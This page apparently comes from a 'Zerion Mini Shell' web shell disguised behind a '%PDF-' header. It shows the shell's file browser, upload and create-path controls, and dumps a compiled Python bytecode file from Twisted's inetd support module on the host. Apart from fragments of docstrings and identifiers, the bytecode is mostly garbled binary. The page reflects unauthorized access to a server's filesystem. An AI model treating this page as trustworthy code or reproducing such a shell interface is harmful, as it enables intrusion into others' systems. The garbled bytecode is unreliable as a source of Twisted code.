%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/runner/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/runner/__pycache__/inetdtap.cpython-312.pyc

�

Ϫ�f�
���dZddlZddlZddlZddlmZmZddlm	Z	ddl
mZmZddl
mZmZej ej"d�ZGd�d	ej&�Zd
�Zy)z�
Twisted inetd TAP support

The purpose of inetdtap is to provide an inetd-like server, to allow Twisted to
invoke other programs to handle incoming sockets.
This is a useful thing as a "networking swiss army knife" tool, like netcat.
�N)�internet�service)�
ServerFactory)�log�usage)�inetd�	inetdconf)�tcp�udpc�t�eZdZdZgd�gd�gZgd�gZejdejd�i��Z	y)	�Optionsz�
    To use it, create a file named `sample-inetd.conf` with:

    8123 stream tcp wait some_user /bin/cat -

    You can then run it as in the following example and port 8123 became an
    echo server.

    twistd -n inetd -f sample-inetd.conf
    )�rpc�rz/etc/rpcz$DEPRECATED. RPC procedure table file)�file�fz/etc/inetd.confzService configuration file)�
nointernal�izDon't run internal servicesrz*.conf)�
optActionsN)
�__name__�
__module__�__qualname__�__doc__�
optParameters�optFlagsr�Completions�
CompleteFiles�compData���9/usr/lib/python3/dist-packages/twisted/runner/inetdtap.pyr
r
sG��	�	I�F��M�
C�C�H� �u� � �V�5H�U�5H�5H��5R�,S�T�Hrr
c� �tj�}tj�}t	|d�5}|j|�ddd�|jD�]�}|j}|jjd�rtjd��A||jfdvr0tjd|j�d|j�����	t|j�|_
|j$�(tj&|j�d	|_n	t|j$�|_|j,dk(rt|dr��|j.t0j2vr$tjd
|j.z���At5�}t0j2|j.|_nt1j6|�}|dk(r1t9j:|j<|�j?|����|dk(s���tAd��|S#1swY���xYw#t$r`	tj |j�d|_
n3#t"$r'tjd|jz�YY��<wxYwY���wxYw#t$r`	t)j*|j$�d|_n3#t"$r'tjd
|j$z�YY���wxYwY���wxYw)Nrzrpc/z/Skipping rpc service due to lack of rpc support))r
�stream)r�dgramz$Skipping unsupported type/protocol: �/�zUnknown user: �zUnknown group: �internalrzUnknown internal service: r
rznot supporting UDP)!�
appservice�MultiServicer	�	InetdConf�open�	parseFile�services�protocol�
startswithr�msg�
socketType�int�user�
ValueError�pwd�getpwnam�KeyError�group�getpwuid�grp�getgrnam�program�namer�internalProtocolsr�InetdFactoryr�	TCPServer�port�setServiceParent�RuntimeError)�config�s�confrrr.�factorys       r �makeServicerH0s������!�A���� �D�	
�f�V�n�	������q����=�=�65���#�#�����&�&�v�.��G�G�E�F���g�(�(�)�1V�V��G�G��%�%�w�'7�'7�9�
�
�	��w�|�|�,�G�L��=�=� ��L�L����6�q�9�G�M�
� #�G�M�M� 2��
��?�?�j�(��l�#���|�|�5�#:�#:�:����4�w�|�|�C�D��#�o�G�$�6�6�w�|�|�D�G���(�(��1�G��u�����w�|�|�W�5�F�F�q�I�
��
��3�4�4�m65�n
�H�u���(�	�
�"�|�|�G�L�L�9�!�<�����
����(�7�<�<�7�8��
���	���
��$'�L�L����$?��$B�G�M�����G�G�-��
�
�=�>����"�
�sw�H+�H8�.J$�+H5�8	J!�'I*�)J!�*+J�J!�J�J!� J!�$	L
�.'K�L
�+L�L
�L�L
�L
)rr:r5�socket�twisted.applicationrrr(�twisted.internet.protocolr�twisted.pythonrr�twisted.runnerrr	�IPPROTO_TCP�IPPROTO_UDP�protocolDictr
rHrrr �<module>rQsP��
��
�
�?�3�%�+��)�)�&�2D�2D�E��U�e�m�m�U�,=
r

Zerion Mini Shell 1.0